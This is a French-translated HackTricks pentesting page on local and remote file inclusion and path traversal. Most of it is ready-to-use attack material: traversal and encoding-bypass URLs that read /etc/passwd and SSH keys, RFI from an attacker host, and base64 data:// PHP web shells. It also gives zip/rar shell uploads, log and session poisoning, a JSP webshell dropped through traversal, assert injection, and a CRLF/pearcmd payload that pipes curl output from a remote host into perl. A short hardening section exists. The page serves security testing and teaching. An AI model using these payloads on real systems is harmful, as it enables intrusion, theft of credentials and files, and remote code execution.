File Inclusion/Path traversal
{{#include ../../banners/hacktricks-training.md}}
File Inclusion
Remote File Inclusion (RFI): Le fichier est chargé depuis un serveur distant (Idéal : vous pouvez écrire le code et le serveur l'exécutera). Dans php ceci est désactivé par défaut (allow_url_include).
Local File Inclusion (LFI): Le serveur charge un fichier local.
La vulnérabilité se produit lorsque l'utilisateur peut, d'une manière ou d'une autre, contrôler le fichier qui va être chargé par le serveur.
Fonctions PHP vulnérables : require, require_once, include, include_once
Un outil intéressant pour exploiter cette vulnérabilité : https://github.com/kurobeats/fimap
Blind - Intéressant - fichiers LFI2RCE
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
En mélangeant plusieurs listes *nix LFI et en ajoutant d'autres chemins, j'ai créé celle-ci :
{{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt {{#endref}}
Essayez également de remplacer /
par \
Essayez également d'ajouter ../../../../../
Une liste qui utilise plusieurs techniques pour trouver le fichier /etc/password (pour vérifier si la vulnérabilité existe) se trouve ici
Windows
Fusion de différentes wordlists :
{{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt {{#endref}}
Essayez également de remplacer /
par \
Essayez également de supprimer C:/
et d'ajouter ../../../../../
Une liste qui utilise plusieurs techniques pour trouver le fichier /boot.ini (pour vérifier si la vulnérabilité existe) se trouve ici
OS X
Consultez la liste LFI de linux.
Notions de base LFI et bypasses
Tous les exemples concernent Local File Inclusion mais peuvent également être appliqués à Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
séquences de traversal supprimées de manière non récursive
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Contourner l'ajout de caractères à la fin de la chaîne fournie (bypass de: $_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
Ceci est résolu depuis PHP 5.4
Encodage
Vous pouvez utiliser des encodages non standard comme le double encodage d'URL (et d'autres) :
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
Depuis un dossier existant
Peut-être que le back-end vérifie le chemin du dossier :
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Exploration des répertoires du système de fichiers sur un serveur
Le système de fichiers d'un serveur peut être exploré de manière récursive pour identifier les répertoires, pas seulement les fichiers, en employant certaines techniques. Ce processus implique de déterminer la profondeur des répertoires et de tester l'existence de dossiers spécifiques. Voici une méthode détaillée pour y parvenir :
- Déterminer la profondeur des répertoires : Déterminez la profondeur de votre répertoire courant en récupérant avec succès le fichier
/etc/passwd
(applicable si le serveur est basé sur Linux). Un exemple d'URL pourrait être structuré comme suit, indiquant une profondeur de trois :
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Sondez les dossiers : Ajoutez le nom du dossier suspect (par ex.,
private
) à l'URL, puis revenez à/etc/passwd
. Le niveau de répertoire supplémentaire nécessite d'incrémenter la profondeur d'un cran :
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Interpréter les résultats : La réponse du serveur indique si le dossier existe :
- Erreur / Pas de sortie : Le dossier
private
n'existe probablement pas à l'emplacement spécifié. - Contenu de
/etc/passwd
: La présence du dossierprivate
est confirmée.
- Exploration récursive : Les dossiers découverts peuvent être sondés plus en profondeur pour trouver des sous-répertoires ou des fichiers en utilisant la même technique ou des méthodes traditionnelles Local File Inclusion (LFI).
Pour explorer des répertoires à différents emplacements du système de fichiers, ajustez le payload en conséquence. Par exemple, pour vérifier si /var/www/
contient un répertoire private
(en supposant que le répertoire courant est à une profondeur de 3), utilisez :
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
La path truncation est une méthode employée pour manipuler les chemins de fichiers dans les applications web. Elle est souvent utilisée pour accéder à des fichiers restreints en contournant certaines mesures de sécurité qui ajoutent des caractères supplémentaires à la fin des chemins de fichiers. L'objectif est de concevoir un chemin de fichier qui, une fois modifié par la mesure de sécurité, pointe toujours vers le fichier souhaité.
En PHP, différentes représentations d'un chemin de fichier peuvent être considérées comme équivalentes en raison de la nature du système de fichiers. Par exemple:
/etc/passwd
,/etc//passwd
,/etc/./passwd
, and/etc/passwd/
are all treated as the same path.- When the last 6 characters are
passwd
, appending a/
(making itpasswd/
) doesn't change the targeted file. - Similarly, if
.php
is appended to a file path (likeshellcode.php
), adding a/.
at the end will not alter the file being accessed.
Les exemples fournis montrent comment utiliser la path truncation pour accéder à /etc/passwd
, une cible courante en raison de son contenu sensible (informations sur les comptes utilisateurs):
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
Dans ces scénarios, le nombre de traversals nécessaires peut être d'environ 2027, mais ce chiffre peut varier en fonction de la configuration du serveur.
- Utilisation de dot segments et de caractères supplémentaires : Les séquences de traversal (
../
) combinées à des dot segments et à des caractères supplémentaires peuvent être utilisées pour parcourir le système de fichiers, en neutralisant efficacement les chaînes ajoutées par le serveur. - Déterminer le nombre de traversals requis : Par essais et erreurs, on peut trouver le nombre précis de séquences
../
nécessaires pour atteindre la racine puis/etc/passwd
, en s'assurant que toute chaîne ajoutée (comme.php
) est neutralisée tout en conservant le chemin souhaité (/etc/passwd
). - Commencer par un répertoire factice : Il est courant de commencer le chemin par un répertoire inexistant (par exemple
a/
). Cette technique sert de précaution ou permet de satisfaire les exigences de la logique d'analyse du chemin du serveur.
Lors de l'utilisation de techniques de troncature de chemin, il est crucial de comprendre le comportement d'analyse des chemins du serveur et la structure du système de fichiers. Chaque scénario peut nécessiter une approche différente, et des tests sont souvent nécessaires pour trouver la méthode la plus efficace.
Cette vulnérabilité a été corrigée dans PHP 5.3.
Techniques de contournement de filtres
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
Dans php ceci est désactivé par défaut parce que allow_url_include
est Off. Il doit être On pour que cela fonctionne, et dans ce cas vous pourriez inclure un fichier PHP depuis votre serveur et obtenir RCE:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Si pour une raison quelconque allow_url_include
est On, mais PHP est filtering l'accès aux pages web externes, according to this post, vous pouvez par exemple utiliser le data protocol avec base64 pour décoder un code PHP b64 et egt RCE:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
Tip
Dans le code précédent, le
+.txt
final a été ajouté parce que l'attaquant avait besoin d'une chaîne se terminant par.txt
, donc la chaîne se termine par cela et après le décodage b64 cette partie ne renverra que du junk et le véritable code PHP sera inclus (et donc exécuté).Un autre exemple n'utilisant pas le protocole
php://
serait :
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Python Élément racine
En Python, dans un code comme celui-ci :
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Si l'utilisateur passe un absolute path à file_name
, le chemin précédent est simplement supprimé:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
C'est le comportement prévu selon the docs:
Si un composant est un chemin absolu, tous les composants précédents sont ignorés et la jonction continue à partir du composant de chemin absolu.
Java Liste des répertoires
Il semble que si vous avez un Path Traversal en Java et que vous demandez un répertoire au lieu d'un fichier, un listing du répertoire est renvoyé. Cela ne se produira pas dans d'autres langages (à ma connaissance).
Top 25 paramètres
Voici la liste des 25 principaux paramètres susceptibles d'être vulnérables aux local file inclusion (LFI) (d'après link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI utilisant les wrappers & protocoles PHP
php://filter
PHP filters permettent d'effectuer des opérations de modification de base sur les données avant qu'elles ne soient lues ou écrites. Il y a 5 catégories de filtres :
- String Filters:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Remove tags from the data (everything between "<" and ">" chars)- Note that this filter has disappear from the modern versions of PHP
- Conversion Filters
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Transforms to a different encoding(convert.iconv.<input_enc>.<output_enc>
) . Pour obtenir la liste de tous les encodages pris en charge, exécutez dans la console :iconv -l
Warning
En abusant du filtre de conversion
convert.iconv.*
vous pouvez générer du texte arbitraire, ce qui peut être utile pour écrire du texte arbitraire ou faire en sorte qu'une fonction comme include traite du texte arbitraire. Pour plus d'infos consultez LFI2RCE via php filters.
- Compression Filters
zlib.deflate
: Compresse le contenu (utile si exfiltrating beaucoup d'informations)zlib.inflate
: Décompresse les données- Encryption Filters
mcrypt.*
: Obsolètemdecrypt.*
: Obsolète- Other Filters
- Running in php
var_dump(stream_get_filters());
you can find a couple of unexpected filters: consumed
dechunk
: reverses HTTP chunked encodingconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
Warning
La partie "php://filter" est insensible à la casse
Utiliser php filters comme oracle pour lire des fichiers arbitraires
Dans ce post est proposée une technique pour lire un fichier local sans que la sortie soit renvoyée par le serveur. Cette technique est basée sur une boolean exfiltration of the file (char by char) using php filters comme oracle. Ceci parce que php filters peuvent être utilisés pour agrandir un texte suffisamment pour provoquer une exception php.
Dans l'article original vous trouverez une explication détaillée de la technique, mais voici un résumé rapide :
- Utiliser le codec
UCS-4LE
pour laisser le caractère initial du texte au début et faire augmenter la taille de la chaîne de façon exponentielle. - Cela sera utilisé pour générer un texte tellement volumineux quand la lettre initiale est devinée correctement que php déclenchera une erreur
- Le filtre dechunk supprimera tout si le premier char n'est pas un hexadecimal, donc on peut savoir si le premier char est hex.
- Cela, combiné avec le précédent (et d'autres filters dépendant de la lettre devinée), permettra de deviner une lettre en début de texte en observant quand on applique suffisamment de transformations pour qu'elle ne soit plus un caractère hexadécimal. Car si elle est hex, dechunk ne la supprime pas et la bombe initiale provoquera une erreur php.
- Le codec convert.iconv.UNICODE.CP930 transforme chaque lettre en la suivante (donc après ce codec : a -> b). Cela permet de découvrir si la première lettre est un
a
par exemple parce que si on applique 6 fois ce codec a->b->c->d->e->f->g la lettre n'est plus un caractère hexadécimal, donc dechunk ne la supprime pas et l'erreur php est déclenchée car elle se multiplie avec la bombe initiale. - En utilisant d'autres transformations comme rot13 au début il est possible de leak d'autres chars comme n, o, p, q, r (et d'autres codecs peuvent être utilisés pour déplacer d'autres lettres dans la plage hex).
- Quand le caractère initial est un nombre il est nécessaire de base64 encoder et leak les 2 premières lettres pour leak le nombre.
- Le problème final est de voir how to leak more than the initial letter. En utilisant des filters d'ordre mémoire comme convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE il est possible de changer l'ordre des chars et de mettre en première position d'autres lettres du texte.
- Et afin de pouvoir obtenir further data l'idée est de générer 2 bytes de junk data au début avec convert.iconv.UTF16.UTF16, appliquer UCS-4LE pour le faire pivot with the next 2 bytes, et supprimer les données jusqu'aux junk data (cela supprimera les 2 premiers bytes du texte initial). Continuer ainsi jusqu'à atteindre le bit désiré à leak.
Dans le post, un outil pour effectuer cela automatiquement a aussi été leaked : php_filters_chain_oracle_exploit.
php://fd
Ce wrapper permet d'accéder aux descripteurs de fichiers que le processus a ouverts. Potentially useful to exfiltrate the content of opened files:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
Vous pouvez également utiliser php://stdin, php://stdout and php://stderr pour accéder aux file descriptors 0, 1 and 2 respectivement (je ne sais pas trop comment cela pourrait être utile dans une attaque)
zip:// and rar://
Téléversez un fichier Zip ou Rar contenant un PHPShell à l'intérieur et accédez-y.
Pour pouvoir abuser du protocole rar, il doit être activé spécifiquement.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Notez que ce protocole est restreint par les configurations PHP allow_url_open
et allow_url_include
expect://
Expect doit être activé. Vous pouvez exécuter du code en utilisant ceci :
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Spécifiez votre payload dans les paramètres POST:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
Un fichier .phar
peut être utilisé pour exécuter du code PHP lorsqu'une application web utilise des fonctions telles que include
pour le chargement de fichiers. L'extrait de code PHP ci-dessous montre la création d'un fichier .phar
:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
Pour compiler le fichier .phar
, la commande suivante doit être exécutée :
php --define phar.readonly=0 create_path.php
Lors de son exécution, un fichier nommé test.phar
sera créé, qui pourrait potentiellement être utilisé pour exploiter des vulnérabilités Local File Inclusion (LFI).
Dans les cas où la LFI ne fait que lire des fichiers sans exécuter le code PHP à l'intérieur, via des fonctions telles que file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
, ou filesize()
, on peut tenter d'exploiter une vulnérabilité de désérialisation. Cette vulnérabilité est liée à la lecture de fichiers utilisant le protocole phar
.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar
files, refer to the document linked below:
Phar Deserialization Exploitation Guide
{{#ref}} phar-deserialization.md {{#endref}}
CVE-2024-2961
Il a été possible d'abuser de n'importe quelle lecture de fichier arbitraire depuis PHP qui prend en charge php filters pour obtenir une RCE. The detailed description can be found in this post.
Résumé très rapide : un débordement de 3 octets dans le heap PHP a été exploité pour altérer la chaîne de chunks libres d'une taille spécifique afin de pouvoir écrire n'importe quoi à n'importe quelle adresse, donc un hook a été ajouté pour appeler system
.
Il était possible d'allouer des chunks de tailles spécifiques en abusant d'autres php filters.
Plus de protocoles
Consultez d'autres protocols to include here:
- php://memory and php://temp — Écrire en mémoire ou dans un fichier temporaire (pas sûr de l'utilité dans une attaque d'inclusion de fichier)
- file:// — Accès au système de fichiers local
- http:// — Accès aux URLs HTTP(s)
- ftp:// — Accès aux URLs FTP(s)
- zlib:// — Flux de compression
- glob:// — Trouver des chemins correspondant à un motif (Cela ne renvoie rien d'imprimable, donc pas vraiment utile ici)
- ssh2:// — Secure Shell 2
- ogg:// — Flux audio (Pas utile pour lire des fichiers arbitraires)
LFI via PHP's 'assert'
Les risques de Local File Inclusion (LFI) en PHP sont particulièrement élevés lorsqu'on manipule la fonction 'assert', qui peut exécuter du code contenu dans des chaînes. C'est particulièrement problématique si une entrée contenant des caractères de traversée de répertoire comme ".." est vérifiée mais pas correctement assainie.
Par exemple, du code PHP pourrait être conçu pour empêcher la traversée de répertoires ainsi :
assert("strpos('$file', '..') === false") or die("");
Bien que cela vise à empêcher le traversal, cela crée involontairement un vecteur de code injection. Pour l'exploiter afin de lire le contenu d'un fichier, un attaquant pourrait utiliser :
' and die(highlight_file('/etc/passwd')) or '
De même, pour exécuter des commandes système arbitraires, on peut utiliser :
' and die(system("id")) or '
Il est important de URL-encode these payloads.
PHP Blind Path Traversal
Warning
Cette technique est pertinente dans les cas où vous contrôlez le file path d'une PHP function qui va access a file mais dont vous ne verrez pas le contenu (comme un simple appel à
file()
) car le contenu n'est pas affiché.
In this incredible post it's explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.
En résumé, la technique utilise l'encodage "UCS-4LE" pour rendre le contenu d'un fichier tellement big que la PHP function opening le fichier déclenchera une error.
Ensuite, pour leak the first char le filter dechunk
est utilisé avec d'autres comme base64 ou rot13, et enfin les filters convert.iconv.UCS-4.UCS-4LE et convert.iconv.UTF16.UTF-16BE sont utilisés pour place other chars at the beggining and leak them.
Functions that might be vulnerable: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (only target read only with this)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
For the technical details check the mentioned post!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, ..
segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
Typical exploitation workflow:
- Identifier un write primitive dans un endpoint ou background worker qui accepte un path/filename et écrit du contenu sur le disque (par ex., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Déterminer les répertoires exposés au web. Exemples courants :
- Apache/PHP:
/var/www/html/
- Tomcat/Jetty:
<tomcat>/webapps/ROOT/
→ dropshell.jsp
- IIS:
C:\inetpub\wwwroot\
→ dropshell.aspx
- Apache/PHP:
- Créez un traversal path qui sort du répertoire de stockage prévu pour atteindre le webroot, et incluez votre contenu webshell.
- Accédez à la payload déposée et exécutez des commandes.
Notes:
- The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload.
- On Java stacks, these file writes are often implemented with simple
File
/Paths
concatenation. Lack of canonicalisation/allow-listing is the core flaw.
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
Durcissement qui neutralise cette classe de bugs :
- Résoudre vers un chemin canonique et s'assurer qu'il est un descendant d'un répertoire de base allow-listed.
- Rejeter tout chemin contenant
..
, des racines absolues, ou des lettres de lecteur ; préférer des noms de fichiers générés. - Exécuter le writer sous un compte à faibles privilèges et séparer les répertoires d'écriture des racines servies.
Remote File Inclusion
Explained previously, follow this link.
Via Apache/Nginx log file
Si le serveur Apache ou Nginx est vulnérable à LFI dans la fonction include, vous pouvez essayer d'accéder à /var/log/apache2/access.log
or /var/log/nginx/access.log
, placer dans le user agent ou dans un GET parameter une php shell comme <?php system($_GET['c']); ?>
et inclure ce fichier
Warning
Notez que si vous utilisez des double quotes pour le shell au lieu de simple quotes, les double quotes seront modifiées pour la chaîne "quote;", PHP lèvera une erreur et rien d'autre ne sera exécuté.
De plus, assurez-vous d'écrire correctement le payload sinon PHP renverra une erreur à chaque tentative de chargement du fichier de logs et vous n'aurez pas de seconde opportunité.
Cela peut également être fait dans d'autres logs mais faites attention, le code à l'intérieur des logs peut être URL encoded et cela peut détruire le Shell. L'en-tête authorisation "basic" contient "user:password" en Base64 et il est décodé dans les logs. Le PHPShell peut être inséré dans cet en-tête.
Other possible log paths:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Par email
Envoyer un mail à un compte interne (user@localhost) contenant votre payload PHP comme <?php echo system($_REQUEST["cmd"]); ?>
et essayez d'inclure le mail de l'utilisateur avec un chemin comme /var/mail/<USERNAME>
ou /var/spool/mail/<USERNAME>
Par /proc/*/fd/*
- Upload beaucoup de shells (par exemple : 100)
- Inclure http://example.com/index.php?page=/proc/$PID/fd/$FD, avec $PID = PID du processus (can be brute forced) et $FD le descripteur de fichier (can be brute forced too)
Par /proc/self/environ
Comme un fichier de log, envoyez le payload dans le User-Agent, il sera reflété dans le fichier /proc/self/environ
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Via upload
Si vous pouvez upload un fichier, injectez simplement le shell payload dedans (e.g : <?php system($_GET['c']); ?>
).
http://example.com/index.php?page=path/to/uploaded/file.png
Pour que le fichier reste lisible, il est préférable d'injecter dans les métadonnées des images/doc/pdf
Via Zip file upload
Téléversez un fichier ZIP contenant un PHP shell compressé et accédez :
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Via PHP sessions
Vérifiez si le site utilise PHP Session (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
En PHP, ces sessions sont stockées dans les fichiers /var/lib/php5/sess\[PHPSESSID]_
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Définir le cookie sur <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Utilisez la LFI pour inclure le fichier de session PHP
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Par ssh
Si ssh est actif, vérifiez quel utilisateur est utilisé (/proc/self/status & /etc/passwd) et essayez d'accéder à <HOME>/.ssh/id_rsa
Par vsftpd logs
Les logs du serveur FTP vsftpd se trouvent à /var/log/vsftpd.log. Dans le scénario où une vulnérabilité Local File Inclusion (LFI) existe, et qu'un accès à un serveur vsftpd exposé est possible, les étapes suivantes peuvent être envisagées :
- Injecter une charge utile PHP dans le champ username lors du processus de connexion.
- Après l'injection, utiliser la LFI pour récupérer les logs du serveur depuis /var/log/vsftpd.log.
Par le filtre base64 de PHP (en utilisant base64)
Comme montré dans this article, PHP base64 filter just ignore Non-base64. Vous pouvez utiliser cela pour contourner la vérification de l'extension de fichier : si vous fournissez un base64 qui se termine par ".php", il va simplement ignorer le "." et ajouter "php" au base64. Voici un exemple de payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Via php filters (pas de fichier nécessaire)
This writeup explique que vous pouvez utiliser les php filters pour générer du contenu arbitraire en sortie. Ce qui veut essentiellement dire que vous pouvez générer du code php arbitraire pour l'include sans avoir besoin de l'écrire dans un fichier.
{{#ref}} lfi2rce-via-php-filters.md {{#endref}}
Via segmentation fault
Upload un fichier qui sera stocké comme temporary dans /tmp
, puis dans la same request, provoquez un segmentation fault, et alors le temporary file won't be deleted et vous pourrez le rechercher.
{{#ref}} lfi2rce-via-segmentation-fault.md {{#endref}}
Via Nginx temp file storage
Si vous trouvez une Local File Inclusion et que Nginx est placé devant PHP, vous pourriez obtenir une RCE avec la technique suivante :
{{#ref}} lfi2rce-via-nginx-temp-files.md {{#endref}}
Via PHP_SESSION_UPLOAD_PROGRESS
Si vous trouvez une Local File Inclusion même si vous n'avez pas de session et que session.auto_start
est Off
. Si vous fournissez le PHP_SESSION_UPLOAD_PROGRESS
dans des données multipart POST, PHP activera la session pour vous. Vous pouvez abuser de ceci pour obtenir une RCE :
{{#ref}} via-php_session_upload_progress.md {{#endref}}
Via temp file uploads in Windows
Si vous trouvez une Local File Inclusion et que le serveur tourne sous Windows, vous pourriez obtenir une RCE :
{{#ref}} lfi2rce-via-temp-file-uploads.md {{#endref}}
Via pearcmd.php
+ URL args
As explained in this post, le script /usr/local/lib/phppearcmd.php
existe par défaut dans les images php docker. De plus, il est possible de passer des arguments au script via l'URL parce qu'il est indiqué que si un param URL n'a pas de =
, il doit être utilisé comme argument. Voir aussi watchTowr’s write-up et Orange Tsai’s “Confusion Attacks”.
La requête suivante crée un fichier dans /tmp/hello.php
avec le contenu <?=phpinfo()?>
:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
L'exemple suivant exploite une vuln CRLF pour obtenir RCE (d'après here) :
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Via phpinfo() (file_uploads = on)
Si vous trouvez une Local File Inclusion et un fichier exposant phpinfo() avec file_uploads = on, vous pouvez obtenir RCE:
{{#ref}} lfi2rce-via-phpinfo.md {{#endref}}
Via compress.zlib + PHP_STREAM_PREFER_STUDIO
+ Path Disclosure
Si vous trouvez une Local File Inclusion et que vous pouvez exfiltrer le chemin du fichier temporaire MAIS que le serveur vérifie si le fichier à inclure contient des marks PHP, vous pouvez essayer de contourner cette vérification avec cette Race Condition :
{{#ref}} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {{#endref}}
Via eternal waiting + bruteforce
Si vous pouvez abuser du LFI pour upload temporary files et faire que le serveur hang l'exécution PHP, vous pourriez ensuite brute force filenames during hours pour trouver le fichier temporaire :
{{#ref}} lfi2rce-via-eternal-waiting.md {{#endref}}
To Fatal Error
Si vous incluez l'un des fichiers /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
. (Vous devez inclure le même fichier 2 fois pour provoquer cette erreur).
Je ne sais pas en quoi c'est utile mais ça pourrait l'être.
Même si vous provoquez un PHP Fatal Error, les PHP temporary files uploaded sont supprimés.

Références
- PayloadsAllTheThings
- PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
- Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)
- Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5
- watchTowr – We need to talk about PHP (pearcmd.php gadget)
- Orange Tsai – Confusion Attacks on Apache
- VTENEXT 25.02 – a three-way path to RCE
- The Art of PHP: CTF‑born exploits and techniques
{{#file}} EN-Local-File-Inclusion-1.pdf {{#endfile}}
{{#include ../../banners/hacktricks-training.md}}